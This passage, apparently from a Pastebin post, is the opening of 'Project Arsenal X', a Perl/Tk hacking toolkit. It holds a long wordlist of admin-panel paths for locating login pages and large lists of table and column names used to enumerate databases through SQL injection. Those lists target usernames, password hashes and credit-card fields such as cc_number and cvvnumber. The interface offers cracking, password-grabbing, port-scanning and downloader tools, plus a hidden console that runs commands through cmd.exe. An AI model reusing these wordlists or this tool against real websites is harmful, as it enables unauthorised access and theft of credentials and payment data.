API tools faq
paste
Doddy

Project Arsenal X

Doddy
Jun 15th, 2012
835
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 126.95 KB | None | 0 0
raw download clone embed print report
  1. #!usr/bin/perl
  2. #Project Arsenal X
  3. #Version 0.1
  4. #Coded By Doddy H
  5.  
  6. #The arrays are a collection of various tools I found on the web.
  7.  
  8. my @paneles = (
  9.     'admin/admin.asp',               'admin/login.asp',
  10.     'admin/index.asp',               'admin/admin.aspx',
  11.     'admin/login.aspx',              'admin/index.aspx',
  12.     'admin/webmaster.asp',           'admin/webmaster.aspx',
  13.     'asp/admin/index.asp',           'asp/admin/index.aspx',
  14.     'asp/admin/admin.asp',           'asp/admin/admin.aspx',
  15.     'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
  16.     'admin/',                        'login.asp',
  17.     'login.aspx',                    'admin.asp',
  18.     'admin.aspx',                    'webmaster.aspx',
  19.     'webmaster.asp',                 'login/index.asp',
  20.     'login/index.aspx',              'login/login.asp',
  21.     'login/login.aspx',              'login/admin.asp',
  22.     'login/admin.aspx',              'administracion/index.asp',
  23.     'administracion/index.aspx',     'administracion/login.asp',
  24.     'administracion/login.aspx',     'administracion/webmaster.asp',
  25.     'administracion/webmaster.aspx', 'administracion/admin.asp',
  26.     'administracion/admin.aspx',     'php/admin/',
  27.     'admin/admin.php',               'admin/index.php',
  28.     'admin/login.php',               'admin/system.php',
  29.     'admin/ingresar.php',            'admin/administrador.php',
  30.     'admin/default.php',             'administracion/',
  31.     'administracion/index.php',      'administracion/login.php',
  32.     'administracion/ingresar.php',   'administracion/admin.php',
  33.     'administration/',               'administration/index.php',
  34.     'administration/login.php',      'administrator/index.php',
  35.     'administrator/login.php',       'administrator/system.php',
  36.     'system/',                       'system/login.php',
  37.     'admin.php',                     'login.php',
  38.     'administrador.php',             'administration.php',
  39.     'administrator.php',             'admin1.html',
  40.     'admin1.php',                    'admin2.php',
  41.     'admin2.html',                   'yonetim.php',
  42.     'yonetim.html',                  'yonetici.php',
  43.     'yonetici.html',                 'adm/',
  44.     'admin/account.php',             'admin/account.html',
  45.     'admin/index.html',              'admin/login.html',
  46.     'admin/home.php',                'admin/controlpanel.html',
  47.     'admin/controlpanel.php',        'admin.html',
  48.     'admin/cp.php',                  'admin/cp.html',
  49.     'cp.php',                        'cp.html',
  50.     'administrator/',                'administrator/index.html',
  51.     'administrator/login.html',      'administrator/account.html',
  52.     'administrator/account.php',     'administrator.html',
  53.     'login.html',                    'modelsearch/login.php',
  54.     'moderator.php',                 'moderator.html',
  55.     'moderator/login.php',           'moderator/login.html',
  56.     'moderator/admin.php',           'moderator/admin.html',
  57.     'moderator/',                    'account.php',
  58.     'account.html',                  'controlpanel/',
  59.     'controlpanel.php',              'controlpanel.html',
  60.     'admincontrol.php',              'admincontrol.html',
  61.     'adminpanel.php',                'adminpanel.html',
  62.     'admin1.asp',                    'admin2.asp',
  63.     'yonetim.asp',                   'yonetici.asp',
  64.     'admin/account.asp',             'admin/home.asp',
  65.     'admin/controlpanel.asp',        'admin/cp.asp',
  66.     'cp.asp',                        'administrator/index.asp',
  67.     'administrator/login.asp',       'administrator/account.asp',
  68.     'administrator.asp',             'modelsearch/login.asp',
  69.     'moderator.asp',                 'moderator/login.asp',
  70.     'moderator/admin.asp',           'account.asp',
  71.     'controlpanel.asp',              'admincontrol.asp',
  72.     'adminpanel.asp',                'fileadmin/',
  73.     'fileadmin.php',                 'fileadmin.asp',
  74.     'fileadmin.html',                'administration.html',
  75.     'sysadmin.php',                  'sysadmin.html',
  76.     'phpmyadmin/',                   'myadmin/',
  77.     'sysadmin.asp',                  'sysadmin/',
  78.     'ur-admin.asp',                  'ur-admin.php',
  79.     'ur-admin.html',                 'ur-admin/',
  80.     'Server.php',                    'Server.html',
  81.     'Server.asp',                    'Server/',
  82.     'wp-admin/',                     'administr8.php',
  83.     'administr8.html',               'administr8/',
  84.     'administr8.asp',                'webadmin/',
  85.     'webadmin.php',                  'webadmin.asp',
  86.     'webadmin.html',                 'administratie/',
  87.     'admins/',                       'admins.php',
  88.     'admins.asp',                    'admins.html',
  89.     'administrivia/',                'Database_Administration/',
  90.     'WebAdmin/',                     'useradmin/',
  91.     'sysadmins/',                    'admin1/',
  92.     'system-administration/',        'administrators/',
  93.     'pgadmin/',                      'directadmin/',
  94.     'staradmin/',                    'ServerAdministrator/',
  95.     'SysAdmin/',                     'administer/',
  96.     'LiveUser_Admin/',               'sys-admin/',
  97.     'typo3/',                        'panel/',
  98.     'cpanel/',                       'cPanel/',
  99.     'cpanel_file/',                  'platz_login/',
  100.     'rcLogin/',                      'blogindex/',
  101.     'formslogin/',                   'autologin/',
  102.     'support_login/',                'meta_login/',
  103.     'manuallogin/',                  'simpleLogin/',
  104.     'loginflat/',                    'utility_login/',
  105.     'showlogin/',                    'memlogin/',
  106.     'members/',                      'login-redirect/',
  107.     'sub-login/',                    'wp-login/',
  108.     'login1/',                       'dir-login/',
  109.     'login_db/',                     'xlogin/',
  110.     'smblogin/',                     'customer_login/',
  111.     'UserLogin/',                    'login-us/',
  112.     'acct_login/',                   'admin_area/',
  113.     'bigadmin/',                     'project-admins/',
  114.     'phppgadmin/',                   'pureadmin/',
  115.     'sql-admin/',                    'radmind/',
  116.     'openvpnadmin/',                 'wizmysqladmin/',
  117.     'vadmind/',                      'ezsqliteadmin/',
  118.     'hpwebjetadmin/',                'newsadmin/',
  119.     'adminpro/',                     'Lotus_Domino_Admin/',
  120.     'bbadmin/',                      'vmailadmin/',
  121.     'Indy_admin/',                   'ccp14admin/',
  122.     'irc-macadmin/',                 'banneradmin/',
  123.     'sshadmin/',                     'phpldapadmin/',
  124.     'macadmin/',                     'administratoraccounts/',
  125.     'admin4_account/',               'admin4_colon/',
  126.     'radmind-1/',                    'Super-Admin/',
  127.     'AdminTools/',                   'cmsadmin/',
  128.     'SysAdmin2/',                    'globes_admin/',
  129.     'cadmins/',                      'phpSQLiteAdmin/',
  130.     'navSiteAdmin/',                 'server_admin_small/',
  131.     'logo_sysadmin/',                'server/',
  132.     'database_administration/',      'power_user/',
  133.     'system_administration/',        'ss_vms_admin_sm/'
  134. );
  135.  
  136. my @buscar1 = (
  137.     'usuario',                 'web_users',
  138.     'name',                    'names',
  139.     'nombre',                  'nombres',
  140.     'usuarios',                'member',
  141.     'members',                 'admin_table',
  142.     'usuaris',                 'admin',
  143.     'tblUsers',                'tblAdmin',
  144.     'user',                    'users',
  145.     'username',                'usernames',
  146.     'web_usuarios',            'miembro',
  147.     'miembros',                'membername',
  148.     'admins',                  'administrator',
  149.     'sign',                    'config',
  150.     'USUARIS',                 'cms_operadores',
  151.     'administrators',          'passwd',
  152.     'password',                'passwords',
  153.     'pass',                    'Pass',
  154.     'mpn_authors',             'author',
  155.     'musuario',                'mysql.user',
  156.     'user_names',              'foro',
  157.     'tAdmin',                  'tadmin',
  158.     'user_password',           'user_passwords',
  159.     'user_name',               'member_password',
  160.     'mods',                    'mod',
  161.     'moderators',              'moderator',
  162.     'user_email',              'jos_users',
  163.     'mb_user',                 'host',
  164.     'apellido_nombre',         'user_emails',
  165.     'user_mail',               'user_mails',
  166.     'mail',                    'emails',
  167.     'email',                   'address',
  168.     'jos_usuarios',            'tutorial_user_auth',
  169.     'e-mail',                  'emailaddress',
  170.     'correo',                  'correos',
  171.     'phpbb_users',             'log',
  172.     'logins',                  'login',
  173.     'tbl_usuarios',            'user_auth',
  174.     'login_radio',             'registers',
  175.     'register',                'usr',
  176.     'usrs',                    'ps',
  177.     'pw',                      'un',
  178.     'u_name',                  'u_pass',
  179.     'tbl_admin',               'usuarios_head',
  180.     'tpassword',               'tPassword',
  181.     'u_password',              'nick',
  182.     'nicks',                   'manager',
  183.     'managers',                'administrador',
  184.     'BG_CMS_Users',            'tUser',
  185.     'tUsers',                  'administradores',
  186.     'clave',                   'login_id',
  187.     'pwd',                     'pas',
  188.     'sistema_id',              'foro_usuarios',
  189.     'cliente',                 'sistema_usuario',
  190.     'sistema_password',        'contrasena',
  191.     'auth',                    'key',
  192.     'senha',                   'signin',
  193.     'dir_admin',               'alias',
  194.     'clientes',                'tb_admin',
  195.     'tb_administrator',        'tb_login',
  196.     'tb_logon',                'tb_members_tb_member',
  197.     'calendar_users',          'cursos',
  198.     'tb_users',                'tb_user',
  199.     'tb_sys',                  'sys',
  200.     'fazerlogon',              'logon',
  201.     'fazer',                   'authorization',
  202.     'curso',                   'membros',
  203.     'utilizadores',            'staff',
  204.     'nuke_authors',            'accounts',
  205.     'account',                 'accnts',
  206.     'signup',                  'leads',
  207.     'lead',                    'associated',
  208.     'accnt',                   'customers',
  209.     'customer',                'membres',
  210.     'administrateur',          'utilisateur',
  211.     'riacms_users',            'tuser',
  212.     'tusers',                  'utilisateurs',
  213.     'amministratore',          'god',
  214.     'God',                     'authors',
  215.     'wp_users',                'tb_usuarios',
  216.     'asociado',                'asociados',
  217.     'autores',                 'autor',
  218.     'Users',                   'Admin',
  219.     'Members',                 'tb_usuario',
  220.     'Miembros',                'Usuario',
  221.     'Usuarios',                'ADMIN',
  222.     'USERS',                   'USER',
  223.     'MEMBER',                  'MEMBERS',
  224.     'USUARIO',                 'USUARIOS',
  225.     'MIEMBROS',                'MIEMBRO',
  226.     'USR_NAME',                'about',
  227.     'access',                  'admin_id',
  228.     'admin_name',              'admin_pass',
  229.     'admin_passwd',            'admin_password',
  230.     'admin_pwd',               'admin_user',
  231.     'admin_userid',            'admin_username',
  232.     'adminemail',              'adminid',
  233.     'administrator_name',      'adminlogin',
  234.     'adminmail',               'adminname',
  235.     'adminuser',               'adminuserid',
  236.     'adminusername',           'aid',
  237.     'aim',                     'apwd',
  238.     'auid',                    'authenticate',
  239.     'authentication',          'blog',
  240.     'cc_expires',              'cc_number',
  241.     'cc_owner',                'cc_type',
  242.     'cfg',                     'cid',
  243.     'clientname',              'clientpassword',
  244.     'clientusername',          'conf',
  245.     'contact',                 'converge_pass_hash',
  246.     'converge_pass_salt',      'crack',
  247.     'customers_email_address', 'customers_password',
  248.     'cvvnumber]',              'data',
  249.     'db_database_name',        'db_hostname',
  250.     'db_password',             'db_username',
  251.     'download',                'e_mail',
  252.     'emer',                    'emni',
  253.     'emniplote',               'emri',
  254.     'fjalekalimi',             'fjalekalimin',
  255.     'full',                    'gid',
  256.     'group',                   'group_name',
  257.     'hash',                    'hashsalt',
  258.     'homepage',                'icq',
  259.     'icq_number',              'id',
  260.     'id_group',                'id_member',
  261.     'images',                  'ime',
  262.     'index',                   'ip_address',
  263.     'kodi',                    'korisnici',
  264.     'korisnik',                'kpro_user',
  265.     'last_ip',                 'last_login',
  266.     'lastname',                'llogaria',
  267.     'login_admin',             'login_name',
  268.     'login_pass',              'login_passwd',
  269.     'login_password',          'login_pw',
  270.     'login_pwd',               'login_user',
  271.     'login_username',          'logini',
  272.     'loginkey',                'loginout',
  273.     'logo',                    'logohu',
  274.     'lozinka',                 'md5hash',
  275.     'mem_login',               'mem_pass',
  276.     'mem_passwd',              'mem_password',
  277.     'mem_pwd',                 'member_id',
  278.     'member_login_key',        'member_name',
  279.     'memberid',                'memlogin',
  280.     'mempassword',             'my_email',
  281.     'my_name',                 'my_password',
  282.     'my_username',             'myname',
  283.     'mypassword',              'myusername',
  284.     'nc',                      'new',
  285.     'news',                    'number',
  286.     'nummer',                  'p_assword',
  287.     'p_word',                  'pass_hash',
  288.     'pass_w',                  'pass_word',
  289.     'pass1word',               'passw',
  290.     'passwordsalt',            'passwort',
  291.     'passwrd',                 'perdorimi',
  292.     'perdoruesi',              'personal_key',
  293.     'phone',                   'privacy',
  294.     'psw',                     'punetoret',
  295.     'punonjes',                'pword',
  296.     'pwrd',                    'salt',
  297.     'search',                  'secretanswer',
  298.     'secretquestion',          'serial',
  299.     'session_member_id',       'session_member_login_key',
  300.     'sesskey',                 'setting',
  301.     'sid',                     'sifra',
  302.     'spacer',                  'status',
  303.     'store',                   'store1',
  304.     'store2',                  'store3',
  305.     'store4',                  'table_prefix',
  306.     'temp_pass',               'temp_password',
  307.     'temppass',                'temppasword',
  308.     'text',                    'uid',
  309.     'uname',                   'user_admin',
  310.     'user_icq',                'user_id',
  311.     'user_ip',                 'user_level',
  312.     'user_login',              'user_n',
  313.     'user_pass',               'user_passw',
  314.     'user_passwd',             'user_pw',
  315.     'user_pwd',                'user_pword',
  316.     'user_pwrd',               'user_un',
  317.     'user_uname',              'user_username',
  318.     'user_usernm',             'user_usernun',
  319.     'user_usrnm',              'user1',
  320.     'useradmin',               'userid',
  321.     'userip',                  'userlogin',
  322.     'usern',                   'usernm',
  323.     'userpass',                'userpassword',
  324.     'userpw',                  'userpwd',
  325.     'usr_n',                   'usr_name',
  326.     'usr_pass',                'usr2',
  327.     'usrn',                    'usrnam',
  328.     'usrname',                 'usrnm',
  329.     'usrpass',                 'warez',
  330.     'xar_name',                'xar_pass',
  331.     'nom dutilisateur',        'mot de passe',
  332.     'compte',                  'comptes',
  333.     'aide',                    'objectif',
  334.     'authentifier',            'authentification',
  335.     'Contact',                 'fissure',
  336.     'client',                  'clients',
  337.     'de donn?es',              'mot_de_passe_bdd',
  338.     't?l?charger',             'E-mail',
  339.     'adresse e-mail',          'Emer',
  340.     'complet',                 'groupe',
  341.     'hachage',                 'Page daccueil',
  342.     'Kodi',                    'nom',
  343.     'connexion',               'membre',
  344.     'MEMBERNAME',              'mon_mot_de_passe',
  345.     'monmotdepasse',           'ignatiusj',
  346.     'caroline-du-nord',        'nouveau',
  347.     'Nick',                    'passer',
  348.     'Passw',                   'Mot de passe',
  349.     't?l?phone',               'protection de la vie priv?e',
  350.     'PSW',                     'pWord',
  351.     'sel',                     'recherche',
  352.     'de s?rie',                'param?tre',
  353.     '?tat',                    'stocker',
  354.     'texte',                   'cvvnumber'
  355. );
  356. my @buscar2 = (
  357.     'name',                          'user',
  358.     'user_name',                     'user_username',
  359.     'uname',                         'user_uname',
  360.     'usern',                         'user_usern',
  361.     'un',                            'user_un',
  362.     'mail',                          'cliente',
  363.     'usrnm',                         'user_usrnm',
  364.     'usr',                           'admin_name',
  365.     'cla_adm',                       'usu_adm',
  366.     'fazer',                         'logon',
  367.     'fazerlogon',                    'authorization',
  368.     'membros',                       'utilizadores',
  369.     'sysadmin',                      'email',
  370.     'senha',                         'username',
  371.     'usernm',                        'user_usernm',
  372.     'nm',                            'user_nm',
  373.     'login',                         'u_name',
  374.     'nombre',                        'host',
  375.     'pws',                           'cedula',
  376.     'userName',                      'host_password',
  377.     'chave',                         'alias',
  378.     'apellido_nombre',               'cliente_nombre',
  379.     'cliente_email',                 'cliente_pass',
  380.     'cliente_user',                  'cliente_usuario',
  381.     'login_id',                      'sistema_id',
  382.     'author',                        'user_login',
  383.     'admin_user',                    'admin_pass',
  384.     'uh_usuario',                    'uh_password',
  385.     'psw',                           'host_username',
  386.     'sistema_usuario',               'auth',
  387.     'key',                           'usuarios_nombre',
  388.     'usuarios_nick',                 'usuarios_password',
  389.     'user_clave',                    'membername',
  390.     'nme',                           'unme',
  391.     'password',                      'user_password',
  392.     'autores',                       'pass_hash',
  393.     'hash',                          'pass',
  394.     'correo',                        'usuario_nombre',
  395.     'usuario_nick',                  'usuario_password',
  396.     'userpass',                      'user_pass',
  397.     'upw',                           'pword',
  398.     'user_pword',                    'passwd',
  399.     'user_passwd',                   'passw',
  400.     'user_passw',                    'pwrd',
  401.     'user_pwrd',                     'pwd',
  402.     'authors',                       'user_pwd',
  403.     'u_pass',                        'clave',
  404.     'usuario',                       'contrasena',
  405.     'pas',                           'sistema_password',
  406.     'autor',                         'upassword',
  407.     'web_password',                  'web_username',
  408.     'tbladmins',                     'sort',
  409.     '_wfspro_admin',                 '4images_users',
  410.     'a_admin',                       'account',
  411.     'accounts',                      'adm',
  412.     'admin',                         'admin_login',
  413.     'admin_userinfo',                'administer',
  414.     'administrable',                 'administrate',
  415.     'administration',                'administrator',
  416.     'administrators',                'adminrights',
  417.     'admins',                        'adminuser',
  418.     'art',                           'article_admin',
  419.     'articles',                      'artikel',
  420.     'ÃÜÂë',                          'aut',
  421.     'autore',                        'backend',
  422.     'backend_users',                 'backenduser',
  423.     'bbs',                           'book',
  424.     'chat_config',                   'chat_messages',
  425.     'chat_users',                    'client',
  426.     'clients',                       'clubconfig',
  427.     'company',                       'config',
  428.     'contact',                       'contacts',
  429.     'content',                       'control',
  430.     'cpg_config',                    'cpg132_users',
  431.     'customer',                      'customers',
  432.     'customers_basket',              'dbadmins',
  433.     'dealer',                        'dealers',
  434.     'diary',                         'download',
  435.     'Dragon_users',                  'e107.e107_user',
  436.     'e107_user',                     'forum.ibf_members',
  437.     'fusion_user_groups',            'fusion_users',
  438.     'group',                         'groups',
  439.     'ibf_admin_sessions',            'ibf_conf_settings',
  440.     'ibf_members',                   'ibf_members_converge',
  441.     'ibf_sessions',                  'icq',
  442.     'images',                        'index',
  443.     'info',                          'ipb.ibf_members',
  444.     'ipb_sessions',                  'joomla_users',
  445.     'jos_blastchatc_users',          'jos_comprofiler_members',
  446.     'jos_contact_details',           'jos_joomblog_users',
  447.     'jos_messages_cfg',              'jos_moschat_users',
  448.     'jos_users',                     'knews_lostpass',
  449.     'korisnici',                     'kpro_adminlogs',
  450.     'kpro_user',                     'links',
  451.     'login_admin',                   'login_admins',
  452.     'login_user',                    'login_users',
  453.     'logins',                        'logs',
  454.     'lost_pass',                     'lost_passwords',
  455.     'lostpass',                      'lostpasswords',
  456.     'm_admin',                       'main',
  457.     'mambo_session',                 'mambo_users',
  458.     'manage',                        'manager',
  459.     'mb_users',                      'member',
  460.     'memberlist',                    'members',
  461.     'minibbtable_users',             'mitglieder',
  462.     'movie',                         'movies',
  463.     'mybb_users',                    'mysql',
  464.     'mysql.user',                    'names',
  465.     'news',                          'news_lostpass',
  466.     'newsletter',                    'nuke_authors',
  467.     'nuke_bbconfig',                 'nuke_config',
  468.     'nuke_popsettings',              'nuke_users',
  469.     'Óû§',                          'obb_profiles',
  470.     'order',                         'orders',
  471.     'parol',                         'partner',
  472.     'partners',                      'passes',
  473.     'passwords',                     'perdorues',
  474.     'perdoruesit',                   'phorum_session',
  475.     'phorum_user',                   'phorum_users',
  476.     'phpads_clients',                'phpads_config',
  477.     'phpbb_users',                   'phpBB2.forum_users',
  478.     'phpBB2.phpbb_users',            'phpmyadmin.pma_table_info',
  479.     'pma_table_info',                'poll_user',
  480.     'punbb_users',                   'pwds',
  481.     'reg_user',                      'reg_users',
  482.     'registered',                    'reguser',
  483.     'regusers',                      'session',
  484.     'sessions',                      'settings',
  485.     'shop.cards',                    'shop.orders',
  486.     'site_login',                    'site_logins',
  487.     'sitelogin',                     'sitelogins',
  488.     'sites',                         'smallnuke_members',
  489.     'smf_members',                   'SS_orders',
  490.     'statistics',                    'superuser',
  491.     'sysadmins',                     'system',
  492.     'sysuser',                       'sysusers',
  493.     'table',                         'tables',
  494.     'tb_admin',                      'tb_administrator',
  495.     'tb_login',                      'tb_member',
  496.     'tb_members',                    'tb_user',
  497.     'tb_username',                   'tb_usernames',
  498.     'tb_users',                      'tbl',
  499.     'tbl_user',                      'tbl_users',
  500.     'tbluser',                       'tbl_clients',
  501.     'tbl_client',                    'tblclients',
  502.     'tblclient',                     'test',
  503.     'usebb_members',                 'user_admin',
  504.     'user_info',                     'user_list',
  505.     'user_logins',                   'user_names',
  506.     'usercontrol',                   'userinfo',
  507.     'userlist',                      'userlogins',
  508.     'usernames',                     'userrights',
  509.     'users',                         'vb_user',
  510.     'vbulletin_session',             'vbulletin_user',
  511.     'voodoo_members',                'webadmin',
  512.     'webadmins',                     'webmaster',
  513.     'webmasters',                    'webuser',
  514.     'webusers',                      'x_admin',
  515.     'xar_roles',                     'xoops_bannerclient',
  516.     'xoops_users',                   'yabb_settings',
  517.     'yabbse_settings',               'ACT_INFO',
  518.     'ActiveDataFeed',                'Category',
  519.     'CategoryGroup',                 'ChicksPass',
  520.     'ClickTrack',                    'Country',
  521.     'CountryCodes1',                 'CustomNav',
  522.     'DataFeedPerformance1',          'DataFeedPerformance2',
  523.     'DataFeedPerformance2_incoming', 'DataFeedShowtag1',
  524.     'DataFeedShowtag2',              'DataFeedShowtag2_incoming',
  525.     'dtproperties',                  'Event',
  526.     'Event_backup',                  'Event_Category',
  527.     'EventRedirect',                 'Events_new',
  528.     'Genre',                         'JamPass',
  529.     'MyTicketek',                    'MyTicketekArchive',
  530.     'News',                          'PerfPassword',
  531.     'PerfPasswordAllSelected',       'Promotion',
  532.     'ProxyDataFeedPerformance',      'ProxyDataFeedShowtag',
  533.     'ProxyPriceInfo',                'Region',
  534.     'SearchOptions',                 'Series',
  535.     'Sheldonshows',                  'StateList',
  536.     'States',                        'SubCategory',
  537.     'Subjects',                      'Survey',
  538.     'SurveyAnswer',                  'SurveyAnswerOpen',
  539.     'SurveyQuestion',                'SurveyRespondent',
  540.     'sysconstraints',                'syssegments',
  541.     'tblRestrictedPasswords',        'tblRestrictedShows',
  542.     'TimeDiff',                      'Titles',
  543.     'ToPacmail1',                    'ToPacmail2',
  544.     'UserPreferences',               'uvw_Category',
  545.     'uvw_Pref',                      'uvw_Preferences',
  546.     'Venue',                         'venues',
  547.     'VenuesNew',                     'X_3945',
  548.     'tblArtistCategory',             'tblArtists',
  549.     'tblConfigs',                    'tblLayouts',
  550.     'tblLogBookAuthor',              'tblLogBookEntry',
  551.     'tblLogBookImages',              'tblLogBookImport',
  552.     'tblLogBookUser',                'tblMails',
  553.     'tblNewCategory',                'tblNews',
  554.     'tblOrders',                     'tblStoneCategory',
  555.     'tblStones',                     'tblUser',
  556.     'tblWishList',                   'VIEW1',
  557.     'viewLogBookEntry',              'viewStoneArtist',
  558.     'vwListAllAvailable',            'CC_info',
  559.     'CC_username',                   'cms_user',
  560.     'cms_users',                     'cms_admin',
  561.     'cms_admins',                    'jos_user',
  562.     'table_user',                    'bulletin',
  563.     'cc_info',                       'login_name',
  564.     'admuserinfo',                   'userlistuser_list',
  565.     'SiteLogin',                     'Site_Login',
  566.     'UserAdmin',                     'Admins',
  567.     'Login',                         'Logins'
  568. );
  569.  
  570. use Cwd;
  571. use Tk;
  572. use Tk::Dialog;
  573. use Tk::HList;
  574. use Tk::ROText;
  575. use Tk::ListBox;
  576. use Tk::FileSelect;
  577. use Win32::Job;
  578. use IO::Socket;
  579. use Net::Ping;
  580. use GMail::Checker;
  581. use HTML::Strip;
  582. use LWP::UserAgent;
  583. use URI::Split qw(uri_split);
  584. use Net::FTP;
  585. use Net::POP3;
  586. use Net::Telnet;
  587. use DBI;
  588. use Mail::POP3Client;
  589. use IO::Socket::SSL;
  590.  
  591. my $nave = LWP::UserAgent->new;
  592. $nave->agent(
  593. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  594. );
  595. $nave->timeout(5);
  596.  
  597. my $color_fondo = "black";
  598. my $color_texto = "green";
  599.  
  600. if ( $^O eq 'MSWin32' ) {
  601.     use Win32::Console;
  602.     Win32::Console::Free();
  603. }
  604.  
  605. my $mejor =
  606.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  607. $mejor->title("Project Arsenal X || (C) Doddy Hackman 2012");
  608. $mejor->geometry("731x570+20+20");
  609. $mejor->resizable( 0, 0 );
  610.  
  611. $mejor->Button(
  612.     -text             => "Inbox",
  613.     -width            => 14,
  614.     -background       => $color_texto,
  615.     -foreground       => $color_fondo,
  616.     -activebackground => $color_texto,
  617.     -command          => \&menu_inbox
  618. )->place( -x => 20, -y => 20 );
  619. $mejor->Button(
  620.     -text             => "Ping",
  621.     -width            => 14,
  622.     -background       => $color_texto,
  623.     -foreground       => $color_fondo,
  624.     -activebackground => $color_texto,
  625.     -command          => \&menu_ping
  626. )->place( -x => 120, -y => 20 );
  627. $mejor->Button(
  628.     -text             => "Whois",
  629.     -width            => 14,
  630.     -background       => $color_texto,
  631.     -foreground       => $color_fondo,
  632.     -activebackground => $color_texto,
  633.     -command          => \&menu_whois
  634. )->place( -x => 20, -y => 50 );
  635. $mejor->Button(
  636.     -text             => "Downloader",
  637.     -width            => 14,
  638.     -background       => $color_texto,
  639.     -foreground       => $color_fondo,
  640.     -activebackground => $color_texto,
  641.     -command          => \&menu_downloader
  642. )->place( -x => 120, -y => 50 );
  643. $mejor->Button(
  644.     -text             => "PortScan",
  645.     -width            => 14,
  646.     -background       => $color_texto,
  647.     -foreground       => $color_fondo,
  648.     -activebackground => $color_texto,
  649.     -command          => \&menu_port
  650. )->place( -x => 420, -y => 50 );
  651. $mejor->Button(
  652.     -text             => "GetIP",
  653.     -width            => 14,
  654.     -background       => $color_texto,
  655.     -foreground       => $color_fondo,
  656.     -activebackground => $color_texto,
  657.     -command          => \&menu_getip
  658. )->place( -x => 220, -y => 20 );
  659. $mejor->Button(
  660.     -text             => "LocateIP",
  661.     -width            => 14,
  662.     -background       => $color_texto,
  663.     -foreground       => $color_fondo,
  664.     -activebackground => $color_texto,
  665.     -command          => \&menu_locate
  666. )->place( -x => 220, -y => 50 );
  667. $mejor->Button(
  668.     -text             => "K0bra",
  669.     -width            => 14,
  670.     -background       => $color_texto,
  671.     -foreground       => $color_fondo,
  672.     -activebackground => $color_texto,
  673.     -command          => \&menu_kobra
  674. )->place( -x => 320, -y => 20 );
  675. $mejor->Button(
  676.     -text             => "GetPass",
  677.     -width            => 14,
  678.     -background       => $color_texto,
  679.     -foreground       => $color_fondo,
  680.     -activebackground => $color_texto,
  681.     -command          => \&menu_getpass
  682. )->place( -x => 320, -y => 50 );
  683. $mejor->Button(
  684.     -text             => "PanelControl",
  685.     -width            => 14,
  686.     -background       => $color_texto,
  687.     -foreground       => $color_fondo,
  688.     -activebackground => $color_texto,
  689.     -command          => \&menu_panel
  690. )->place( -x => 420, -y => 20 );
  691. $mejor->Button(
  692.     -text             => "Cracker",
  693.     -width            => 14,
  694.     -background       => $color_texto,
  695.     -foreground       => $color_fondo,
  696.     -activebackground => $color_texto,
  697.     -command          => \&menu_cracker
  698. )->place( -x => 520, -y => 20 );
  699. $mejor->Button(
  700.     -text             => "About",
  701.     -width            => 14,
  702.     -background       => $color_texto,
  703.     -foreground       => $color_fondo,
  704.     -activebackground => $color_texto,
  705.     -command          => \&menu_about
  706. )->place( -x => 620, -y => 20 );
  707. $mejor->Button(
  708.     -text             => "Exit",
  709.     -width            => 14,
  710.     -background       => $color_texto,
  711.     -foreground       => $color_fondo,
  712.     -activebackground => $color_texto,
  713.     -command          => \&menu_exit
  714. )->place( -x => 620, -y => 50 );
  715.  
  716. my $body = $mejor->Text(
  717.     -width      => 98,
  718.     -height     => 30,
  719.     -background => $color_fondo,
  720.     -foreground => $color_texto
  721. )->place( -x => 19, -y => 100 );
  722.  
  723. $body->insert( "end", "- Arsenal X - Command Console\n" );
  724. $body->insert( "end", "Running program version 0.1\n" );
  725. $body->insert( "end", "-----------------------------\n" );
  726. $body->insert( "end", "\nWelcome to the hell ........\n\n" );
  727. $body->insert( "end", "<root[.]>" );
  728.  
  729. $mejor->bind(
  730.     $body,
  731.     "<Key-Return>" => sub {
  732.  
  733.         $text = $body->get( "1.0", "end" );
  734.         chomp $text;
  735.  
  736.         $text =~ / .* <root\[.\]> \s* (.+?) \s+ $ /msx;
  737.         my @cmdnow = cmd($1);
  738.         $body->insert( "end", "\n@cmdnow\n" );
  739.         $body->insert( "end", "\n<root[.]>" );
  740.     }
  741. );
  742.  
  743. my $ip = get_ip();
  744.  
  745. $mejor->Label(
  746.     -text       => "Your IP is $ip",
  747.     -background => $color_fondo,
  748.     -foreground => $color_texto
  749. )->place( -x => 20, -y => 540 );
  750. $mejor->Label(
  751.     -text       => "(C) Doddy Hackman 2012",
  752.     -background => $color_fondo,
  753.     -foreground => $color_texto
  754. )->place( -x => 550, -y => 540 );
  755.  
  756. MainLoop;
  757.  
  758. sub get_ip {
  759.     my $get = gethostbyname("");
  760.     return inet_ntoa($get);
  761. }
  762.  
  763. sub cmd {
  764.  
  765.     my $job = Win32::Job->new;
  766.     $job->spawn(
  767.         "cmd",
  768.         qq{cmd /C $_[0]},
  769.         {
  770.             no_window => "true",
  771.             stdout    => "logx.txt",
  772.             stderr    => "logx.txt"
  773.         }
  774.     );
  775.     $ok = $job->run("30");
  776.  
  777.     open( F, "logx.txt" );
  778.     @words = <F>;
  779.     close F;
  780.  
  781.     unlink("logx.txt");
  782.  
  783.     return @words;
  784.  
  785. }
  786.  
  787. ###Funciones principales
  788.  
  789. sub menu_inbox {    #Start
  790.  
  791.     my $yeahfucktk = MainWindow->new();
  792.     $yeahfucktk->title(
  793.         "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
  794.     $yeahfucktk->geometry("870x220+20+20");
  795.     $yeahfucktk->resizable( 0, 0 );
  796.  
  797.     my $agen = $yeahfucktk->Scrolled( HList,
  798.         -columns    => 4,
  799.         -header     => 1,
  800.         -width      => 80,
  801.         -scrollbars => "se"
  802.     )->place( -x => 20, -y => 20 );
  803.  
  804.     $agen->headerCreate( 0, -text => "ID" );
  805.     $agen->headerCreate( 1, -text => "From" );
  806.     $agen->headerCreate( 2, -text => "Subject" );
  807.     $agen->headerCreate( 3, -text => "Date" );
  808.  
  809.     $agen->bind( "<Double-1>", [ \&yeah ] );
  810.  
  811.     $yeahfucktk->Label( -text => "Gmail Login", -font => "Impact" )
  812.       ->place( -x => 650, -y => 20 );
  813.     $yeahfucktk->Label( -text => "Username : ", -font => "Impact1" )
  814.       ->place( -x => 565, -y => 68 );
  815.     my $username =
  816.       $yeahfucktk->Entry( -width => 30 )->place( -x => 653, -y => 73 );
  817.     $yeahfucktk->Label( -text => "Password : ", -font => "Impact1" )
